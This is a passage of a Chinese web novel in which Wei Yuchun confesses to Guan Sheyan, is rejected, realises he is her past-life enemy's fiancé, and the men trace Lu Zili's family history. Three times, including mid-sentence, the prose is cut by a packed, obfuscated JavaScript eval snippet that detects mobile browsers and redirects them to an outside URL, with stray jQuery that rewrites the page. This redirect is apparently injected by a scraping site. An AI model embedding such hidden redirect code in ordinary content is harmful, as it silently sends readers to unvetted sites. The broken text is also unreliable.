最后千言万语汇聚成一句话——关贤齐为何不能早点回来? 她想当面向他说很多话,问很多话。 这一切最好都能抢在杜明茜的前头。 魏郁春慢慢起身,环视四周,见一只竖在雕着昙花的木架上的铜镜,摸索过去,这是她第二次正视这张面容——生得很明媚,浓眉大眼,鼻梁比普通的中晋女子要低些,因而少了很多凌气,明艳之中竟平添出了温润之气。 面容上,她的鼻头圆润若浑圆的珠面,唇珠饱满,即便不张口也好似在嘴边含了一粒珍珠。只是内里的灵魂今非昔比,她眸中自带隐晦的冷意与慧气,旁人因她的美貌妄想靠近,但若与这样一双眸子对视下来,不过须臾,便知已被排斥,欣喜不见,只剩尴尬。 月余前,看到这样一张面孔的她,总会忍不住去回忆前世恐怖的过往。如今,她经历了太多,前世好似远去了不少,没那么容易就能将她吓得浑身发抖。 现在,她好似也接纳了这样的自己,镜中的自己,比前世看起来好似更讨人喜欢——她只是略微牵唇,双眉自然弯起,明媚得像春天的暖樱。 只是,她的衣着和这张漂亮的脸搭配起来实在突兀,她也许久没有沐浴过了,这身衣服随着她从古溪村到盘龙山,一路摸爬滚打,脏得离奇,也难怪很招杜明茜那样的大户千金的嫌弃。 下午,她本打算问问杜明茜宅中可有沐浴之地,抑或是有没有一套新的衣物。但杜明茜早不知去影何处,唯见那名被困山宅难以离去的医工,唉声叹气地在外头廊下埋头看书。 她去问那位医工洗浴之地在何处,想来也是要住在这里许久的缘故,医工对宅子的结构很是熟悉,好心给她指路,跨过最中间的花厅便能看到被两畔池塘粉荷簇拥的廊道,顺着起走过去,来到后院长亭,下了石阶,荷香四漫,一阵阵冒着热气的白雾咕嘟咕嘟地从花丛中溢出。穿过又一片花丛,一条铺着竹阶的平桥出现,桥下又是生着丛丛嫩荷与莲叶的莲池,平桥一直延伸到一只长门面前,“温香阙”的牌匾挂在高处正中间。 听说里面是一片大温泉,一年四季皆常温,杜家斥巨资将起隔为两片池子,再平地起高楼,建成了两只温泉屋,屋里屋外皆铺着上好的竹阶,赤着脚便能走。两只温泉屋连在一起,一个为女眷使用,名为“温香阙”,另一处男子的则叫做“龙泉宫”。 魏郁春赤着脚踏入,见温泉畔皆摆着盥盆、巾栉、梳篦等物件,精致非凡。泉畔还有一处木制衣架,上面挂着一些女子闺房所用的合欢襟、亵裤和绣着各式花纹的浴裙,皆是新的。她总觉得受宠若惊,从小到大,从前世到今生,她都从未用过如此奢侈的浴池。 她探脚试了一番泉中水温,再慢慢滑入其中,香汤没骨,甫一进去,便觉得浑身被荷香浸透,体温渐渐升高,余毒好似也顺着泉雾从她体内蒸发走。 她忍不住闭上了眼,靠着玉砖砌成的岸边,不知不觉睡了过去。 等她再度醒来时,竟过去了将近一个时辰,皮肤都被泡得又皱又白,外面夕阳西下,温香阙中未燃灯,阙中宽敞,阴处无光,十分冷清。她匆忙从泉中抽身,划动的水花声音在空敞的阙中荡动回音,但她分明只掀动了几丝水花,却听到周遭传来连绵不绝的浪花声,竟有些骇人。 她信手从衣架上取来一套新衣穿上,乌黑的湿发被胡乱擦干,披在身后,她赤着湿漉漉的脚,拖曳起长长的浴裙,绕开屏风从长门离去。 谁知仓皇之间,却遇到了刚摸回来的关阇彦。说来也巧,他也是刚沐浴完出来,一头湿漉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她毕竟也是知情者,将杜明堂的事情告诉她也无妨。反而要是一瞒再瞒,她也一定会想办法得知隐情,岂不把事情办麻烦了? 关阇彦如是想着,道:“杜明堂之所以也会坠入祭坛,多半受我牵连,于是我跟他秘密回京城,调查幕后黑手。今日在杜府与杜明堂的父母商量对策。” 魏郁春点点头,看似认真,实际上她的心思压根不在这上面。 她没说话,有没再问他什么,他也没打算上赶着说话。 他抬眼望了眼天色,又听到远处传来的隐隐呼唤声——那是杜明茜的声音——还是让他感到浑身肉麻的那句“彦哥哥”。 他就是怕一回来就被这丫头缠上,才直接从后院翻进来先沐浴。要不然以他对杜明茜的了解,她大可在龙泉宫大摆筵席,观摩他洗浴都是大有可能的。 杜明堂是跟他一起回来的,原是叫他帮忙望风,谁知道他这么不靠谱,才一炷香的功夫就露馅了。杜明茜估摸是满宅子寻他的踪迹了。 关阇彦头疼不已,回头看向魏郁春:“那丫头估摸马上就找上门来了。我如今衣衫不整,实在不合礼数。待会儿见吧。” 那丫头?杜明茜? 她知道杜明茜对他多有钦慕,也对自己很排斥,若是他们相见,自己又何时能寻到机会跟他搭话?她虽不抵触杜明茜,但到底和她共享了对同一个人的那份欣赏,心里还是会过意不去。所以,她更希望自己在杜明茜之前遇到他。现在机会就在眼前,她是等不了下一次的。 魏郁春抿了抿唇,似是紧张。 “等等,有些话我等不到待会再说了。” 她喊住了他。 75. 倾心以寄(2) 关阇彦侧过半面来看她,他长发掩在耳后,几缕沾了水的发落在他的眼前,他神色平淡,眸色好似深不见底,依旧让人看不出情绪。 魏郁春只有在初遇时才看过他这般疏远生分的神色。她一时间涩然,问着自己,即便他不喜欢她,她也不信他当真不知自己的那份心意。不然为何他对自己的态度会突然翻转成这样? 为何会如此?只是换了一个地方,换了一副衣着,他便忽然变得如此高冷,渐渐要和自己疏远了吗?他当真是她心目中仰慕又依赖的人么?若非如此,他为何要玩弄她的真心,还是说因为来到了未婚妻之地,他就要决心跟所有女子划清界线? 她得问清楚,至少不能给自己留遗憾,那样太憋屈了。即便再丢脸,她也得表明自己的心意,死也要死个明白。 想当初,明明是他逼问她放弃想要的机会时是否甘心,让她面对自己的真心。所以如今,她终于找到机会在他面前证明一番自己了。 “关贤齐,”她向他走近,眸中带着悲色,“你……瞒了我很多事情。” “嗯。我是中晋岭阳人,往南时遭遇暗杀,被你救下,我忧心身份暴露后会给自己和你们带来灾祸,于是有意隐瞒了身份。” “我听杜明茜说,关贤齐也是你的真名,不过好似是不准人提及的乳名。” 原本紧张的气氛在关阇彦的一声轻笑中得到缓解,他摇摇头:“别听那丫头胡说八道。贤齐是长辈取的名,不是什么乳名,只是此名在中晋时常引来歧义,所以不喜别人这般叫我罢了。思来想去,其他阿猫阿狗的名字我也看不上,索性就用了这名字。” 原是这样。 让魏郁春面红耳赤的“典故”原是莫须有之事,是她自作多情了。 关阇彦本打算继续将自己的真名说出来,但魏郁春已经接了空当继续说话:“你……对我可有过半分的青睐之意?” 在此之前的话权当是为这句话铺垫的前戏,毕竟直接说出这句春心泛滥的话来,对魏郁春来说,既唐突又随便了,有怠诚心。 关阇彦的眸子暗了暗。 这一刻终究是到来了。 …… 今日他与杜明堂借杜明茜从城内带出来的人脉之便,秘密入城,终有惊无险地进了杜家,杜家二老见到杜明堂后皆为惊诧,寻思着刚出发去南禺才一个多月怎么就回来了。 杜明堂邀二老入了封闭的议事堂,身边带着还用席帽遮掩面容的关阇彦。杜明堂说明自己在南禺的遭遇后,才将关阇彦的身份揭开,二老吓得直冒冷汗,先回屋子静静,稍后再议事。 这期间,杜明堂便带着关阇彦去了自己的屋子小憩,闲来无事便聊了一些事。 “我妹妹这次应该没做什么出格的事吧?”杜明堂想来想去,还是不放心。 关阇彦回道:“还好,老样子。” 杜明堂扶额苦叹:“这可怎么好?她刚及笄,将来选择多着呢,不知怎么就非要在你这棵树上吊死。” 关阇彦笑了笑,有些痞意:“那倒不能全算她的问题,是我太过优秀了。” 杜明堂靠在椅上,白了一眼,一只手撑着下巴,道:“对了,我从我爹娘那边打听到了关昀洲具体的婚期。日子就定在这个月的月底,数数刚好还有十天。” “关家的确是准备在京城办婚礼,但从朔州府把新娘迎娶到京城,也不太现实。所以,魏家会提前来到京城,选一处豪宅暂住下来,日子到了就等着关昀洲来娶亲了。” 杜明堂瞥了一眼敛了笑正思考着什么的关阇彦,问他:“你接下来是什么打算?就这样放任关昀洲瞒天过海下去?” 关阇彦心事重重,他垂着的手正攥着一只玉槲,指腹慢慢摩梭着光洁的槲壁。 “要想揭开关昀洲的真面目不难,但稍有不慎便会连累整个关家,关魏两家的联姻至关重要,这个关头出了事,欺君之罪,百口莫辩。正巧给了圣人处置关家的机会。” “还有,关昀洲手里一定还掌握着更多不为人知的消息,他有心针对我们,但我们却还未抓住他的把柄。贸然行动,幕后黑手定还有办法将我们灭口。” “那……” 关阇彦起身,拍拍杜明堂的肩头,无比郑重,让人怀疑其中有诈。杜明堂坐在位置上抬眼看他:“怎么了?” “这次你要多牺牲一点了。” “光是假死还不够,得办一场丧事,传到关昀洲耳朵里才行,”关阇彦眸色升起一模戾色,“他最近可是大忙人,说不定还不在京城,时间很紧,只能用这个办法吸引人的眼球。毕竟‘皇商’嫡子遇害身亡一事传出,整个中晋都得跟着震一震。” 杜明堂被他的言论吓得腿都快软了:“这也太不吉利了!” “事成后给你做几场法事去去阴气便可。” 杜明堂眼神闪躲:“话说关昀洲不会怀疑么?我爹娘得知我回来的时候都觉得震惊,因为时间太短,就这这这……丧事会不会也办得太早了。” 关阇彦:“不然,他自负得很,并且他派的刺客也有些日子了,估摸是一得知你启程便要动手了,时间上的问题根本不值得考究。” 杜明堂越听他说越觉得自己逃不过命运,歪着嘴角弱弱说了一声:“你别告诉我,你还要我钻棺材装尸体。” 关阇彦闻言,不谈一丝同情,反而深深颔首,对他的想法展现极度的认可:“嗯,你这个念头不错。就这么办吧。” 杜明堂膛目结舌:“不是吧,你也太损了!你不是不知道,我杜明堂天不怕地不怕,就怕一个死字!” 关阇彦离开他的面前,重新坐到椅子上,好整以暇地看着他:“你从小到大运气都不错,逢凶化吉的能力,我就没见过还有哪个人比你还厉害的。这次你能活着从盘龙山出来就不易了,更应该抓紧老天爷给你的机会保命才是。保不齐关昀洲抑或是幕后黑手会派人来刺探,事情还是办得严谨点好。一旦露馅,我与你接下来都不会好过了。” 又是威逼又是利诱的,杜明堂听得心又慌又痒,最终只能低头默许。 屋子里重归安静,两个人都各有心事,不知思绪飘到了多远,杜明堂收心收得要快些,他静悄悄打量了一番关阇彦,道:“喂,那魏家嫡女你准备怎么办?就算真要办丧事,那也仅仅是吸引了关昀洲的注意力,他不一定真会对这场婚事置之不理。” 关阇彦扶额:“所以我也不知道该怎么办了。关魏联姻是定局,十日之内,我能做的多半只是静观其变,等关昀洲那头自乱阵脚。在这么短时间内,既要保全关家又要揭露关昀洲的真面目,根本不可能。为今之计,恐怕只能先收集证据,等到关昀洲成亲后,再寻找时机绊倒他。” “等等等,”杜明堂这下终于忍不了了,“关阇彦你吃错药了?!” “你的意思不就是,为了让圣人那头满意,先放纵关昀洲作乱,等他跟魏家嫡女成了亲入了洞房后,再暗自解决掉关昀洲,还是说你再顶替回去,继续摸索他背后的幕后凶手?” “你突然觉得你的牺牲比我大多了,真是佩服,娶一个自己不喜欢的女人就罢了,新娘子还要等被关昀洲那种小人玷污了后再……不是,这到底该怎么办?关阇彦啊,你这辈子只能娶这一个老婆呢,皇帝那边看着,休也休不得,这等委屈你受得住?!” 杜明堂急得焦头烂额,却见关阇彦不为所动,只好放言继续刺激他:“不是,要我说,你还不如跟你从南禺带回来的那小女娘好上呢。” 提到魏郁春,关阇彦皱了眉头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447418|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又提她做什么?” “反正目前喜欢你的不就我那不懂事的妹妹,还有那小女娘了?我妹妹,害,你别想,性子骄纵得很,你这种人哪像会惯娘子的?以后得委屈死她。”这种关头,杜明堂虽着急,却还要将妹妹死死护住。 “谁说她喜欢我了,”关阇彦的注意力都在魏郁春身上,“我是指冯迎春。” “害,不是哥们,你也太迟钝了,”杜明堂说着说着,唾沫星子都快喷到他脸上,“之前在盘龙山我不好意思说,她看你的眼神可不清白,我觉得她其实就仗着自己中毒了,所以那迷离的眼神才显得愈发明显。我又觉得你对她好像也有点意思,还以为你们是两情相悦呢。” “她说她不喜欢我。” 关阇彦撇去头,只当杜明堂的话是耳旁风。 “害,姑娘家哪有真把喜欢来喜欢去放在明面上告诉你的?你以为人人都是阿茜吗?!人家觉得害臊吧。你自己回想回想,人家姑娘家有没有……对你做出过特别的举动,或者说过什么特别的话?” 杜明堂说着说着,又后悔了:“罢了,我看你对关魏两家的婚事死心塌地成这样,我劝你还是别耽误人家姑娘了,人姑娘虽然身世差了点,但起码是个清清白白的人,长得也漂亮,哪像你,一点尊严都没有。” 关阇彦阖眼叹了一口气,脱力般无力:“你以为我当真愿意接受这样的安排么?只是别无办法罢了。” 杜明堂也虚脱了,仰着头如烂泥般瘫在椅上,好似也认了命:“是啊,好像……也的确没有办法了。就像我也不得不装死一样。” …… 事后,关阇彦也的确仔细思考了杜明堂的话。 特别的举动么? 魏郁春在盘龙山时,的确很奇怪。那么惜命的人却好几次置自己的安危于不顾,即便是为了帮他挡箭而中毒,非但不想着难过,或是迁怒旁人,还要拉着他跟他说抱歉。他一时无法判断到底是自己从一开始就辨错了此人的本质,还是说只是她突然改变了很多。 特别的话么? 他还记得在墓穴中,他正举着烛光站在魏郁春的身后,听到她慕地说出一句——“我在看你。” 说实话,那时他也怔住了,只是装作毫无反应。后来魏郁春接话说自己只是在看他手里的蜡烛,他才渐渐放下疑心。那时,他总以为魏郁春这样的人,怎么可能那么轻易地就喜欢上一个人呢? 到最后,他还是试探了她,用那所谓的“未婚妻”去试探,他只以为魏郁春那时中了毒,脑子不分清,心底的秘密肯定也是藏不住的。那时,他得到的回应是“我不喜欢你”。 他松了一口气,彻底的,可不知为什么,他心底好似有什么虫子在作怪,挠得他心神又酸又痒。可一想到绑在自己身上的宿命,他便会瞬间清醒——他永远不会步他爹的后尘。所以魏郁春不喜欢他是最好的结果。同理,他也断不会喜欢她的,他也的的确确从未对她心动过。 可杜明堂这个局外人却一眼看破他们二人之间拉扯不断的情局,这令他感到后怕。 今晚,杜明堂雇人去禺山镇的查探的结果会被送到城郊,杜明堂跟杜家掌舵夫妇二人商讨好接下来的事宜后,才跟关阇彦在傍晚时出城。关阇彦也打算将这在避暑宅度过的最后一晚,当作跟魏郁春划清界限的契机。 只是,他没想到这个契机会这么早就出现。更令他想不到的是,魏郁春比他想象得要勇敢得多。他虽表面刚强,内心却压着太多沉甸甸的事物,面对魏郁春的坦然,他竟于一时陷入了惶恐。 …… “你……对我可有过半分的青睐之意?” “未曾。” 他只知道自己的表情冷到令人骨寒。 话语更是如此。 76. 自作多情 一阵夜风忽地迎面出来,荷香扑面而来,将魏郁春额前的发吹到耳后,她正对着夕阳,那明丽白净的面孔在金色的光芒下熠熠生辉。尤其是她藏在眼底那一对晶莹之色更夺人目,尽管如此,她眸色却不减坚毅。 她藏在袖下的手慢慢攥紧,问他:“那你之前为何屡屡与我亲近?” 关阇彦嗤笑一声,也不正眼看她了,话语冰冷,好似将她的自尊按在地上狠狠摩擦:“哼,那是你自作多情,于我何干?倘若我知晓你有这份心思,我也不会贱成那样,不是么?” 自作多情。 魏郁春咬唇:“那便好。” 她只觉得关阇彦这人的确混蛋,最初分明是他屡屡撩拨她,如今一句“自作多情”便将那些过往全部喂给了狗吃。可他也没说错,喜不喜欢是别人的事,或许是她从头到尾未表露过心迹,他什么都不知道,她凭什么要求他适可而止?她根本没有理由这么做。所以她又凭什么要求他喜欢自己? 她朝前踏步,直至重新与他靠近,她仰面看着他,眼底是不舍,但更多的是强硬:“我知道自己眼瞎,早在当初便知道你是这等流氓汉,却还忍不住自己冲动。我也不知道自己怎么了,想到你从前对我说过的话,便觉得与其让这样不耻的心思一直存放心中成为不甘的遗憾,不如一股脑抛出去说清楚。谢谢你给我上了这一课。” 她这是什么意思?到底是在骂他还是骂她自己?她还真是一如既往地好面子,逞强成这样也是没准了。喜欢或不喜欢便直说,弄得人这么难受是几个意思。 关阇彦蹙眉退步,表现得不太耐烦:“你给我施压做什么?” “分明就有未婚妻,自己不知廉耻便罢了,处处撩拨旁人。我只觉得自己这份喜欢有些低贱,我有错,但你也脱不开关系。” “你不该摆出那副事不关己的架子。” “是么。” 关阇彦敛了敛眸子,没再说什么了,心里想到方才自己对她说的那些话,确实过分。但若非如此,他只怕日后会后悔。这是他意识到这张毒嘴的威力为数不多的情况,从前他是不会这样反思自我的。 魏郁春看着他缓缓退步的样子,心瞬间碎成了渣滓,她不明白为何他说得话会如此伤人,她承认自己抵不住他的诱惑,但若因诱惑不得不卑微低头,她却宁愿叫自己粉身碎骨。这不是矫情,而是底线。她这一身咬定青山不肯屈身的风骨塑就了她的本质。 “关阇彦!” “你在哪儿啊?!” 这次不是杜明茜的声音了。 杜明堂不知从哪个犄角旮旯窜了出来,又因此地荷花高长迷乱人眼,即便站在和关魏二人同一片区域的地方,他也无法立马看到他们的人影。于是,他就高声呼唤了起来。 魏郁春循着声音的放向投去目光,在立在水汪汪的荷塘上的平桥上瞥见了远处杜明堂着急寻人的身影。她的脸色变得愈来愈难看,明明在夕阳下熠熠生辉的目光变得空洞起来,一对深渊里咕嘟咕嘟地冒出恐惧,层出不穷。她的目光始终没有收回来。 但嘴巴却出了声:“你……的名字叫作关阇彦?” 关阇彦理所当然地道:“嗯。之前在南禺没有料过我们会一起来中晋,这才对此一直缄口不言。” 魏郁春依旧没看他,好似在畏惧什么:“岭阳……人,岭阳的……安……南都督?” 关阇彦怔住,寻思着这个名号虽然响亮,却不至于传到南禺古溪村人的耳朵里:“你怎么知道?” 他也满心疑惑。 这个当口,魏郁春一直回避着他,然后一声不响地快步从他身边走过,步伐不稳,却越来越急促,其间差点摔个跟头。 关阇彦喊她,她却全当听不见。最后,她的身影完全消失在了他的眼前。 此时,杜明堂也循着他的声音找到了他,说道:“我妹妹没找到你就好。” “你跟我过来一下,消息已经到了。”他喘着粗气,模样着急。 但关阇彦的目光还定在魏郁春消失前的地方,惊疑不定,神色还未缓回来,也没来得及应上杜明堂的话。 杜明堂也看着他盯着的方向,想到他方才也见到魏郁春匆忙离去的身影,旋即问他:“怎么,你们俩个吵架了?” 关阇彦怔怔地点了点头,但心里还是不理解。若是吵架惹她生气,她为何是那副见了鬼的害怕模样? 他眼下还有正事,只好暂时放下此惑,带着杜明堂向平桥尽头走去。 “你去宅前等着,我换完衣服便来。” …… 魏郁春着急回到屋内,路上碰到了杜明茜。 “喂,你下午都去哪儿了?害我一顿好找呢。对了,你有没有看到彦哥哥啊?” 杜明茜觑着她,拦住她时见她满脸恐惧,眼底里看不出倒映着的任何色彩,活似被夺了灵魂的木偶。杜明茜吓了一大跳,立马松开了对她的拦截,怔在原地。 魏郁春跌坐在床上,她满脑子都在思考着有关“报应”的事。 前世,她遭陷害而死,深陷在人性里最经不起考验的妒心中,遭受无妄之灾,她被撕碎得连一点可辨认的皮肉都不见了。她记得害死自己的是哪些人,是魏仲傅,是魏澜清,是魏家上下见死不救的旁观者。 可她也忘不掉致使这一切灾难发生的始作俑者——那件轰动全朔州府的事情。 去年秋末,听说岭阳大家关氏要来朔州府相看女子,魏家想方设法与之攀亲,让魏家嫡女成为关家名正言顺的准儿媳。魏郁春对此全然不知,也不感兴趣,她只想去梦寐以求的诗词会大开眼界,也意外因此夺魁,风声鹊起。 可命运弄人,她的无意之举夺了魏家的风头,魏家也很快发现了她的身份。 为此,她得付出生命的代价,而那些本该属于自己的光彩,竟沦为了施暴者吸引心仪儿郎的筹码,何等耻辱。 她恨所有的施暴者,恨天道的不公,也恨那关家的嫡子为何偏偏要与魏家这样的龌龊家族联姻。 难道这些人不该得到应有的报应吗?可为什么所有的痛都要她来承担? 就连重生后,也要给她安排数不清的、威胁性命的困难。这便罢了,就连每次将她从水深火热之中救出的人,都是会在将来给她带来无穷伤害的存在。她本来振作起来了,本来将他当作了自己人生中不可或缺的同伴,抑或是救命恩人,甚至将他视为自己感情上的寄托……可他为什么会是关阇彦?给一个蜜枣,再添一只巴掌?这是什么道理? 他为什么是魏澜清的未婚夫?可笑的是,她竟还为他吃过魏澜清的醋。 而他方才对她说过的那些话,好似也因为身份的转变,变得越来越恶毒。 她回忆起自己对他表明心迹的内容,还有曾经让她面红耳赤的心思,腹中滚翻不已,她干呕不断,觉得恶心。 比起上一世令她噩梦不断的仇恨,她再提不起对关阇彦任何正面性的兴趣。所谓的心动,原来都是可有可无的浮云。 她脱离情局,才知自己喜欢的根本不是关阇彦本人,她喜欢的只是那个能在危急时刻保她安全的存在,她喜欢的只是自己攥住生命控制权的感觉。她错把对强者的依赖心,当作了情爱。 若非每次危急时刻,出现的人都只有那个人,她断不会这样。真是糊涂。 若是她可以做让自己依赖的强者,又何必眼巴巴地等着人来拯救自己?即便这个人不是关阇彦,是别人,她就能保证,自己可以一直将这些暂时还能握住的生命控制权牢牢攥住整整一生吗?这是不可能的。 魏郁春红着眼眶,感受着心上的伤口,泪水滴落,濡湿一大片竹席。她浑身都忍不住颤抖,两只手时不时便要摸到脖子上去,想问问自己前世自缢时停留在这里的伤口还疼不疼了。 明明脖子上白净一片,她却总觉得那里还长着血淋淋的伤疤。明明屋子里空无一人,她的眼前却一直闪现着那些人的身影。 魏澜清趾高气扬地看着她,口中不断说着辱骂她的话,手中的刀锋利地刮在她的脸庞上,刺痛不止。 魏仲傅冷漠的眼神将她刺痛,母亲恋恋不舍的目光让她无颜面对……还有关阇彦那副决绝的表情,她痴笑起来,却比哭还难看。 …… 关阇彦和杜明堂去城郊取来掮客送来的消息,上面详细记载了禺山镇陆子礼的情况。 陆子礼和女儿于七月初同时死亡,死时他们还坐在樱桃树下的躺椅上。女儿陆长岁依偎在父亲的怀里,不知世事般,阖着眸子,平静而眠。陆子礼也是如此,他们二人好似父女连心,提前得知了自己的死期般。于是才会出现这副二人坦然赴死的场面。 虽明白陆子礼有意欺瞒他们,甚至故意让他们赶赴盘龙山送死。但得知他们父女二人的结局后,关阇彦反而怎么恨也恨不起来的。感情实在是很复杂的事物。 据信上所述,陆子礼家中并未出现奇怪的物品,并且通过邻里人得知,他们父女二人半个月来,只要女儿醒来,陆子礼便一定要带女儿去镇上采集玩耍。 他也一直没有接过诊,更没有要去寻找孤女的动机存在。 看来,盘龙山的法器的确被陆子礼毁掉了,他也的确没想过再重蹈覆辙,他还没想象中那样无可救药。 与此同时,关阇彦的预料成真,雇去的人的确在陆子礼家翻出了另一版的拓印文书,上面写着的古文跟换血秘术的的确不同。他想,这应该就是陆子礼换脸时依赖的内容。但这些古文没有跟换血秘术一样的待遇,它没有被翻译好并补充过注释的版本存在。 想来陆子礼原本就看得懂这些古文,根本不需要另外翻译下来进行参考的必要。说不定,换血秘术的翻译内容是陆子礼临时作好,用来换取他跟魏郁春信任的。 可惜这些南禺古文已无人能译。关阇彦研究半天也没研究个所以然,只好将这几页麻纸重新卷好,收入袖中。 杜明堂还在看信上的内容,时而瞪眼时而张口,像是在做鬼脸一样。 “那些人搜得当真细致,把人家祖上的籍贯都给抄录下来了,喏,你看看。” 杜明堂把老长一卷信纸都递给了关阇彦。 关阇彦上下粗略扫了一眼,慨叹起来:“原来如此。” “怎么了?” “之前我去盘龙山时便感到奇怪,盘龙山的传言赫赫有名,当地人根本不敢上山。陆子礼所在的禺山镇离盘龙山极远,怎么知道此山存在的且不论,正常人来到当地听到此山传言,皆会落荒而逃,哪有明知山有虎偏向虎山行的?” “除非在盘龙山出名之前,他就清楚盘龙山祭坛存在的秘密了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447419|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 关阇彦眼睛凝视着手上记录陆子礼籍贯的文字,道:“陆子礼原本就不是禺山镇人,他几代祖上都住在盘龙山山脚下的一个叫做黎昌村的地方,但这个村子早就不存在了。那时山上还无诡异的阵法,若有心上山,的确容易发现山中祭坛的秘密。但后来,自陆子礼的祖祖父辈起,他们便连忙从黎昌村的地方搬迁到了禺山镇的前身禺山村,因而在此地扎了根。” “难不成关于盘龙山祭坛的秘密,在这陆家流传了好几辈了?” “上上下下五代人啊……我记得这祖籍上还记录了陆家父辈们生卒详年吧?” 杜明堂探着脑袋过来,他的话也将关阇彦点醒了许多。 去掉陆子礼,他将往上四代人的生卒时间算了算,合起来总共是一百六十三年,陆子礼今年三十有六,总计五代人一百九十九年的光阴。也就是说,约两百年前,陆家祖辈匆忙从盘龙山脚下的黎昌村举家搬迁来了远在外地的禺山村。 关阇彦攥住信纸的手越来越紧,眉弓压得很低。 “两百多年前,中晋皇帝首次南征。”他道。 杜明堂讶住:“那不是南禺邪术最猖獗的时候吗?” “又是两百多年前,”关阇彦缓缓呼了一口气,却还是止不住压力上涨,“我盘问过黑衣人,他们说盘龙山祭坛总共只现世过三次,一次是两百多年前邪术最盛之时,一次是二十二年前南禺邪道潜入中晋为非作歹之时,还有一次就是最近古溪村孩童无辜失踪之时。” 他推测道:“若我猜得没错,历史上黎昌村消失的原因刚好跟先帝南征有关。那时,中晋消灭的邪道数不胜数,邪术的信徒几乎被赶尽杀绝,那是轰动全南禺的事情。军队应当排查过很多祭坛,也就是南禺邪术信徒的窝点,但极有可能漏掉了盘龙山抑或是扶风山这样的地方。” “之所以漏掉,便是因为其中的信徒四分五裂,为了逃难放弃了信仰,既无人,军队定无法追踪祭坛所在之地。而陆子礼祖上深谙盘龙山祭坛之说,又刚巧住在盘龙山脚下。他们家乃至整个黎昌村……都应当是最初供奉盘龙山祭坛的那批信徒。” “妈呀……”杜明堂忽地觉得揭露了这个谜底,好似道破了天机一般,震撼他良久。 然而关阇彦的话音还没结束:“黑衣人还说过,除了资历深厚的信徒,这些南禺古文无人能看懂。那时我听了便觉着奇怪,毕竟陆子礼作为窃取秘术和法器的人,他并非信徒,本没有资格看得懂这些文字。” “但如果,陆家祖上乃信徒,他们或许抱着擅自逃离盘龙山后,愧对天仙的心情,将这些有关邪术与祭坛,甚至古文的秘密传承下来了呢?” 杜明堂的心怦怦直跳,忍不住应道:“那陆子礼为了救女儿肯定无所不用其极,能冒险前去盘龙山找到祭坛,还能翻译古文,好像也不奇怪了。” 关阇彦颔首:“如今盘龙山脚下的村子也好,集镇也罢,他们都应是两百年灾祸后出现的。他们对盘龙山并不熟悉。至于他们到底什么时候出现的,暂无定论,他们对盘龙山的恐怖印象多半源于镇守山中的诡异阵法。唯一能肯定的便是,至少十年前阵法出现之前,这些百姓都未上过此山。” 杜明堂思索了一阵,答道:“也许在十年阵法出现之前,有什么人为了不让这些百姓们随便上山,编造了一些传说呢?或者……除了阵法外,这山上还有什么阻止村民接近的东西呢。” 关阇彦不打算细究此处,摇了摇头,打住道:“这些已无关紧要了。” 除了寻找法器和拓印古文,他们还让那些人特地查看过陆子礼的身体。他将信进一步展开,扫到末尾的几个段落,得知,陆子礼的尸体经过清洗后,并没有发现黑花刺青。 也就是说,盘龙山的黑衣人说得并不准确,即使是读得懂古文、会使用秘术的信徒,他们身上也不一定存在天仙花印记。 关阇彦联想起古溪村和盘龙山的黑衣人,他们都有天仙花印记,也都拥有一个共同点——为通仙大人卖命。 所以难道是只有形成了团体,为黑衣人口中的通仙大人效力并供奉祭坛的人,身上才会有这样的印记吗? 那这个印记到底是怎么无声无息地出现在黑衣人身上的呢? 一定是那位通仙大人在黑衣人身上做了手脚。 印记出现的地方皆为随机,黑衣人们对它们的出现也无法立刻感知得到。凭借外力是不可能的,通仙大人八成是给这些黑衣人服用了什么东西,那东西类似于毒药抑或是蛊虫,能深深扎根在被控制者的身体内,令这些人饱受禁忌的约束。 换句话来说,只有身上存在天仙花印记的人,才会被禁忌捆缚。而陆子礼身上没有印记,却还要死守“避让水光”的禁忌,这真是奇了怪了。毕竟是祖上传承下来的规矩,传了上百年肯定也有误传的地方,理解的偏差就此诞生,陆子礼信以为真,好似是能预料到的事。 还有陆子礼为什么对他们心起杀机……怕也是为了遵守秘术不外传的禁忌吧。 这些毫无信守必要的禁忌就这样自陆子礼幼时就刻入了他的骨髓中,令他沉迷至此……所谓的信仰好似成了人人都可指摘的笑话,唯有他立在风暴中心,如此决绝,不肯回头。 关阇彦回忆着陆子礼过去的种种行径,只觉得他可悲又可笑。 77. 两不相欠 关阇彦跟杜明堂回避暑宅的时候,天色已经很暗了,宅子伙房的炊烟都散了,变得没有温度。 他们甫一进门,杜府的阍人携着一群搭手的下人迎过来,把二位公子请到宅中一处叫作雪凉亭的地方,亭中蒸着松针,清香之气淡淡散逸在空中,从经过之人的袖子抑或是领口流溢,又香又凉,挠得人浑身发软,活像被女子娇柔的葱指拂过了最敏感的皮肤地带。 厨子将矮案布置得林琅满目,几盏沙糖冰雪冷元子置在凉亭的坐垫面前对应的地方,用被抓住叶柄弯曲成象鼻的荷叶中注着的竹叶青,酒香醇清,又伴着若有若无的荷花香,听闻饮此酒者无不没有心旷神怡之感。 